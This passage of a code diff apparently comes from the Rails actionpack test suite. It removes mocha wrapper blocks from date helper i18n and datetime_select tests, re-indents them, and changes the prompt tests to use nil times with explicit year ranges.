- [2.seconds, true] => [:'less_than_x_seconds', 5],
- [9.seconds, true] => [:'less_than_x_seconds', 10],
- [19.seconds, true] => [:'less_than_x_seconds', 20],
- [30.seconds, true] => [:'half_a_minute', nil],
- [59.seconds, true] => [:'less_than_x_minutes', 1],
- [60.seconds, true] => [:'x_minutes', 1],
-
- # without include_seconds
- [29.seconds, false] => [:'less_than_x_minutes', 1],
- [60.seconds, false] => [:'x_minutes', 1],
- [44.minutes, false] => [:'x_minutes', 44],
- [61.minutes, false] => [:'about_x_hours', 1],
- [24.hours, false] => [:'x_days', 1],
- [30.days, false] => [:'about_x_months', 1],
- [60.days, false] => [:'x_months', 2],
- [1.year, false] => [:'about_x_years', 1],
- [3.years, false] => [:'over_x_years', 3]
-
- }.each do |passed, expected|
- assert_distance_of_time_in_words_translates_key passed, expected
- end
+ # distance_of_time_in_words
+
+ def test_distance_of_time_in_words_calls_i18n
+ { # with include_seconds
+ [2.seconds, true] => [:'less_than_x_seconds', 5],
+ [9.seconds, true] => [:'less_than_x_seconds', 10],
+ [19.seconds, true] => [:'less_than_x_seconds', 20],
+ [30.seconds, true] => [:'half_a_minute', nil],
+ [59.seconds, true] => [:'less_than_x_minutes', 1],
+ [60.seconds, true] => [:'x_minutes', 1],
+
+ # without include_seconds
+ [29.seconds, false] => [:'less_than_x_minutes', 1],
+ [60.seconds, false] => [:'x_minutes', 1],
+ [44.minutes, false] => [:'x_minutes', 44],
+ [61.minutes, false] => [:'about_x_hours', 1],
+ [24.hours, false] => [:'x_days', 1],
+ [30.days, false] => [:'about_x_months', 1],
+ [60.days, false] => [:'x_months', 2],
+ [1.year, false] => [:'about_x_years', 1],
+ [3.years, false] => [:'over_x_years', 3]
+
+ }.each do |passed, expected|
+ assert_distance_of_time_in_words_translates_key passed, expected
end
+ end
- def assert_distance_of_time_in_words_translates_key(passed, expected)
- diff, include_seconds = *passed
- key, count = *expected
- to = @from + diff
+ def assert_distance_of_time_in_words_translates_key(passed, expected)
+ diff, include_seconds = *passed
+ key, count = *expected
+ to = @from + diff
- options = {:locale => 'en', :scope => :'datetime.distance_in_words'}
- options[:count] = count if count
+ options = {:locale => 'en', :scope => :'datetime.distance_in_words'}
+ options[:count] = count if count
- I18n.expects(:t).with(key, options)
- distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
- end
+ I18n.expects(:t).with(key, options)
+ distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
+ end
- def test_distance_of_time_pluralizations
- { [:'less_than_x_seconds', 1] => 'less than 1 second',
- [:'less_than_x_seconds', 2] => 'less than 2 seconds',
- [:'less_than_x_minutes', 1] => 'less than a minute',
- [:'less_than_x_minutes', 2] => 'less than 2 minutes',
- [:'x_minutes', 1] => '1 minute',
- [:'x_minutes', 2] => '2 minutes',
- [:'about_x_hours', 1] => 'about 1 hour',
- [:'about_x_hours', 2] => 'about 2 hours',
- [:'x_days', 1] => '1 day',
- [:'x_days', 2] => '2 days',
- [:'about_x_years', 1] => 'about 1 year',
- [:'about_x_years', 2] => 'about 2 years',
- [:'over_x_years', 1] => 'over 1 year',
- [:'over_x_years', 2] => 'over 2 years'
-
- }.each do |args, expected|
- key, count = *args
- assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
- end
+ def test_distance_of_time_pluralizations
+ { [:'less_than_x_seconds', 1] => 'less than 1 second',
+ [:'less_than_x_seconds', 2] => 'less than 2 seconds',
+ [:'less_than_x_minutes', 1] => 'less than a minute',
+ [:'less_than_x_minutes', 2] => 'less than 2 minutes',
+ [:'x_minutes', 1] => '1 minute',
+ [:'x_minutes', 2] => '2 minutes',
+ [:'about_x_hours', 1] => 'about 1 hour',
+ [:'about_x_hours', 2] => 'about 2 hours',
+ [:'x_days', 1] => '1 day',
+ [:'x_days', 2] => '2 days',
+ [:'about_x_years', 1] => 'about 1 year',
+ [:'about_x_years', 2] => 'about 2 years',
+ [:'over_x_years', 1] => 'over 1 year',
+ [:'over_x_years', 2] => 'over 2 years'
+
+ }.each do |args, expected|
+ key, count = *args
+ assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
end
end
end
@@ -76,49 +74,47 @@ class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
include ActionView::Helpers::DateHelper
attr_reader :request
- uses_mocha 'date_helper_select_tags_i18n_tests' do
- def setup
- @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
-
- I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
- end
+ def setup
+ @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
- # select_month
+ I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+ end
- def test_select_month_given_use_month_names_option_does_not_translate_monthnames
- I18n.expects(:translate).never
- select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
- end
+ # select_month
- def test_select_month_translates_monthnames
- I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
- select_month(8, :locale => 'en')
- end
+ def test_select_month_given_use_month_names_option_does_not_translate_monthnames
+ I18n.expects(:translate).never
+ select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
+ end
- def test_select_month_given_use_short_month_option_translates_abbr_monthnames
- I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
- select_month(8, :locale => 'en', :use_short_month => true)
- end
+ def test_select_month_translates_monthnames
+ I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
+ select_month(8, :locale => 'en')
+ end
- def test_date_or_time_select_translates_prompts
- @prompt_defaults.each do |key, prompt|
- I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
- end
+ def test_select_month_given_use_short_month_option_translates_abbr_monthnames
+ I18n.expects(:translate).with(:'date.abbr_month_names', :locale => 'en').returns Date::ABBR_MONTHNAMES
+ select_month(8, :locale => 'en', :use_short_month => true)
+ end
- I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
- datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
+ def test_date_or_time_select_translates_prompts
+ @prompt_defaults.each do |key, prompt|
+ I18n.expects(:translate).with(('datetime.prompts.' + key.to_s).to_sym, :locale => 'en').returns prompt
end
- # date_or_time_select
+ I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+ datetime_select('post', 'updated_at', :locale => 'en', :include_seconds => true, :prompt => true)
+ end
- def test_date_or_time_select_given_an_order_options_does_not_translate_order
- I18n.expects(:translate).never
- datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
- end
+ # date_or_time_select
- def test_date_or_time_select_given_no_order_options_translates_order
- I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
- datetime_select('post', 'updated_at', :locale => 'en')
- end
+ def test_date_or_time_select_given_an_order_options_does_not_translate_order
+ I18n.expects(:translate).never
+ datetime_select('post', 'updated_at', :order => [:year, :month, :day], :locale => 'en')
+ end
+
+ def test_date_or_time_select_given_no_order_options_translates_order
+ I18n.expects(:translate).with(:'date.order', :locale => 'en').returns [:year, :month, :day]
+ datetime_select('post', 'updated_at', :locale => 'en')
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
index 92cdce2e45..2e4763f446 100644
--- a/actionpack/test/template/date_helper_test.rb
+++ b/actionpack/test/template/date_helper_test.rb
@@ -1726,40 +1726,38 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, datetime_select("post", "updated_at")
end
- uses_mocha 'TestDatetimeSelectDefaultsToTimeZoneNowWhenConfigTimeZoneIsSet' do
- def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
- time = stub(:year => 2004, :month => 6, :day => 15, :hour => 16, :min => 35, :sec => 0)
- time_zone = mock()
- time_zone.expects(:now).returns time
- Time.zone_default = time_zone
- @post = Post.new
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at")
- ensure
- Time.zone_default = nil
- end
+ def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+ time = stub(:year => 2004, :month => 6, :day => 15, :hour => 16, :min => 35, :sec => 0)
+ time_zone = mock()
+ time_zone.expects(:now).returns time
+ Time.zone_default = time_zone
+ @post = Post.new
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << "</select>\n"
+
+ expected << " &mdash; "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at")
+ ensure
+ Time.zone_default = nil
end
def test_datetime_select_with_html_options_within_fields_for
@@ -1822,60 +1820,60 @@ class DateHelperTest < ActionView::TestCase
def test_datetime_select_with_default_prompt
@post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ @post.updated_at = nil
expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
expected << "</select>\n"
expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
expected << "</select>\n"
expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
expected << "</select>\n"
expected << " &mdash; "
expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
expected << "</select>\n"
expected << " : "
expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
+ expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
expected << "</select>\n"
- assert_dom_equal expected, datetime_select("post", "updated_at", :prompt => true)
+ assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => true)
end
def test_datetime_select_with_custom_prompt
@post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+ @post.updated_at = nil
expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
expected << "</select>\n"
expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
expected << "</select>\n"
expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+ expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
expected << "</select>\n"
expected << " &mdash; "
expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
+ expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
expected << "</select>\n"
expected << " : "
expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
